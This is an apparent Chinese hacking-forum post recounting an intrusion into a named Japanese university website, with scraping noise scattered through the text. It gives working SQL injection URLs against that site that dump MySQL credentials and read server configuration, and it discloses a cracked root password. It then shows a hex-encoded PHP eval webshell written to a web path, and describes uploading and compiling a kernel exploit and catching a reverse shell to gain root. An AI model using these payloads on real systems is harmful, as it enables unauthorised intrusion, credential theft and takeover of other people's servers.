入侵日本同志社大学技术分析0 j. p; o8 }% q3 N; k/ Y7 I
" |& {5 O P8 n3 z7 `
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
8 A9 j8 g5 P# c+ M I然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
3 h7 n/ L' X+ Q5 }
7 Q) Z& ?2 o Y$ Ahttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user0 P+ w* I/ m2 t" F& W
9 |7 y$ z6 O, z& m& m' w' ^9 k ) m3 R( m3 k. T) j2 J9 y4 a4 F
2 j& Q o) G2 r//@@datadir为数据库文件路径 , l* N1 Z- o: M) e/ [) H4 \
. {* \ W) d% \. @0 `4 ~
1 E; e- h) r( z" K% \6 R/ C M1 t//load_file读取网站容器apache的配置文件 ( Q0 f2 H/ i; h2 Z# x
2 {; w1 d5 d5 b0 j/ m! A0 R) E; m
8 t/ ~0 `0 m& r/ f9 R
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
2 n. {: X) l' V复制代码
0 |- Z4 b! B8 m- n; f- o: x& R1 C6 e+ y& ~8 C2 L+ L
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。3 z8 Y* ], e+ p/ f, C. D
/ ?. z# k/ w; i9 S7 E而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。& K% r: r4 m: X/ A) n n
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)# o# r$ t2 |; E* C3 e% p4 Y9 ]
, e# D; }& |6 R5 [
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。& B$ [% f* G$ z' w+ i
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html' \ V; ]; ?9 w% t, r4 O V
4 o$ B! r; |0 H
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
9 Y R4 s7 w5 q虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。4 E: w0 i3 H6 q6 g' i- M
直接写一句话:8 x' P; Q# Y) A# V% u, G1 W
, L1 T+ }6 W p5 N% N S7 U6 m7 fhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
8 v% A4 X' J1 {- i& P4 r! I* V5 F+ Q8 J* f$ _! `. y% M j& {
/ R; @& ]- \8 z' Q6 ]* V0 |8 C6 f$ J6 G8 ]3 I
//最后的#是为了闭合前面的语句
! |6 z$ S9 K* t4 O3 s ( v2 L) u" O! h3 H& a1 }8 ]
) b1 d) n9 J6 J4 R' r
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E . [* v/ s( J; A* @- h$ ^1 s
( w4 g; h' ?# N
; q& w7 Y$ c) c6 ]$ G G* K为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
; m% b* m; d, g
$ ]6 M* S1 { u. e1 J- `+ p4 e2 Q7 Z' k5 F1 S3 P) t
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
z2 t' l; B- ~5 u: k& y; W) [ , x& X2 k1 m" r# o# a
4 p3 N" T r3 H7 q/ p0 S2 \& n" o' y
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ^2 Q, H/ _- ~0 J8 C
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
+ D# K5 i4 r, [; l复制代码
0 [% p6 M8 I2 R
; I, {; e$ f- X3 W+ F$ }* B5 ]HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
4 d5 m5 k3 T* V4 N& |. N6 K通过上述注入语句,我们就得到了一句话木马:# v/ ~- {2 c/ u+ Y; Z
' a$ @- k- x, y c: R0 }- C7 k- w& x! q
/ F. S4 x$ K6 c7 q! q
0 u+ I; R# d/ E% Q' ]
: H+ W1 j+ ` u8 L; ]6 f+ w+ N
http://www.doshisha.ac.jp/english/engnews_img/aa.php & u3 q b3 b d& Q8 X# @( Z* D
复制代码
4 R3 g0 z0 H/ v' _6 _0 o0 {) L0 y
用菜刀连接,密码是cmd,如图所示:) M5 V$ Y3 V: L7 R
然后在命令提示行里看了一下,现在的权限是:7 n6 n# ? f! @% @9 y
7 z1 m7 c/ l9 y6 p- h) ?2 t' p) U之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。) x/ V( O! Q( r
好在赋权给这个文件夹不需要root,直接执行赋权语句:
8 l: _' N6 p M* M# J2 ~' U( M5 m% H4 _) v" p" x& v' r; r3 D0 w
& ]! f- z* w8 A9 \2 }( s6 X
4 w6 |- m/ n$ _) f8 x1 q9 m, l
; K& l1 v+ E$ _/ ]0 @7 b( }
2 ^) b% O# {$ K& ^# s' I3 ]" xchmod +x /tmp/
x9 z4 b# R2 }: g复制代码
0 H- d* P1 `' }0 `- Z( Q# i3 a% W' K8 j$ R/ o( Z
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行9 o5 t- B; D0 o m r
然后就查了一下内核版本:
: T4 m6 _2 r7 h" y5 }
: h* B. }3 p; Y2 @; u5 t 6 g) o( C& w: H- N
$ O0 M: y/ @6 i( b% f7 @) E% `( c ( H4 J9 y1 B2 c
; p" z. W1 K& s2 Z+ \/ d! L$ P
uname-a 3 H+ {) ]$ I1 j; a
+ N2 B/ V. D& e& ]+ I2 _: e
( O3 G9 i6 S, A//其实lsb_release -a
0 i/ \3 w/ x, [复制代码
0 t0 a7 G2 k; @; W t
( w! c. {+ I z/ P4 c如图所示:* p1 g1 [5 W3 } X
! m5 m, b7 C$ |, C! Z; I
内核版本:linux mainz1 2.6.28-194.e15( p% k4 S: ]* ~ c6 x
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
/ a( h) T/ m% x查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
! n6 x; i( b. G2 M, F/ v& g( i
. \9 r( W# Z8 a/ T. ?然后给予执行权限
: P# A* K* Y& _: n$ M: x4 {* X一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样) ~9 F7 B# [1 B+ g: l
& c. _8 E: H! w
5 `% o% Y+ `( U& X1 C. L6 R+ |: m" F- E8 V6 R# |7 u5 a
I* B) j6 x4 w T; l0 `, }7 [4 I
7 ]9 n- o( A4 t. m" U0 p$ F( Dchmod +x /tmp/2.6.18-194
# |8 ~' I( J/ ?. p0 N9 ]复制代码 然后直接执行!~
- X8 Z1 k( |0 u% V0 u/ T* x& U- f+ i( W
总结:9 @3 }8 z0 ^; F7 ?
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
9 z# f, n( p9 m# o3 S提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root9 |$ x8 b8 U+ L& o4 l% o) }( Q
. {8 x3 t- K. F5 C y. c& _
|